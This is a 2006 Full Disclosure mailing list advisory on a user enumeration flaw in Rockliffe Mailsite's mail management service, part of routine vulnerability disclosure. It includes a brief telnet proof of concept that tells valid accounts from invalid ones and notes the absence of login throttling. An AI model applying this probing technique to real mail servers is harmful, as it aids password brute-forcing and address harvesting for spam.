Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Rockliffe Mailsite User Enumeration Flaw
From: Josh Zlatin <jzlatin () ramat cc>
Date: Wed, 4 Jan 2006 10:05:03 -0500 (EST)

Synopsis: Rockliffe's Mailsite Mail Management Server User Enumeration Flaw.

Product: Rockliffe Mailsite
         http://www.rockliffe.com

Version: Confirmed on Mailsite <= 7.0.3.1

Author: Josh Zlatin-Amishav

Date: January 4, 2006

Background:
Rockliffe MailSite secure email server software and MailSite MP secure email
gateways provide email server solutions and gateway email protection for businesses and service providers. Rockliffe has more than 3,000 customers hosting more than 15 million mailboxes worldwide.

Issue:
In working with researchers at Tenable Network Security, I have come across
a user enumeration flaw in the Mail Management Agent (MAILMA). The server responds differently depending on whether the user account exists. This affords an attacker a means of brute forcing passwords and an effective means to cultivate valid email addresses for spam.

PoC:

josh () maoz:~$ telnet 10.0.0.6 106
Trying 10.0.0.6...
Connected to 10.0.0.6 (10.0.0.6).
Escape character is '^]'.
200 Ok, "MailSite Mail Management Server (7.0.3.1) ready" user IDoNotExist
510 "Error 2 in OpenMailbox, The system cannot find the file specified. "
user postmaster
200 Ok, "send password"

In addition the MailMA service does not block / throttle connection attempts, or close a user account after a given number of unsuccessful attempts.

Vendor notified: January 3, 2006 06:12AM

Vendor Response:
Contact your sales rep about purchasing Mailsite 7.0.3.1 (note version 7.0.3.1 is also vulnerable to this issue)

Solution:
None at this time.

References: http://www.rockliffe.com
References: http://zur.homelinux.com/Advisories/RockliffeMailsiteUserEnum.txt
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Rockliffe Mailsite User Enumeration Flaw Josh Zlatin (Jan 04)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]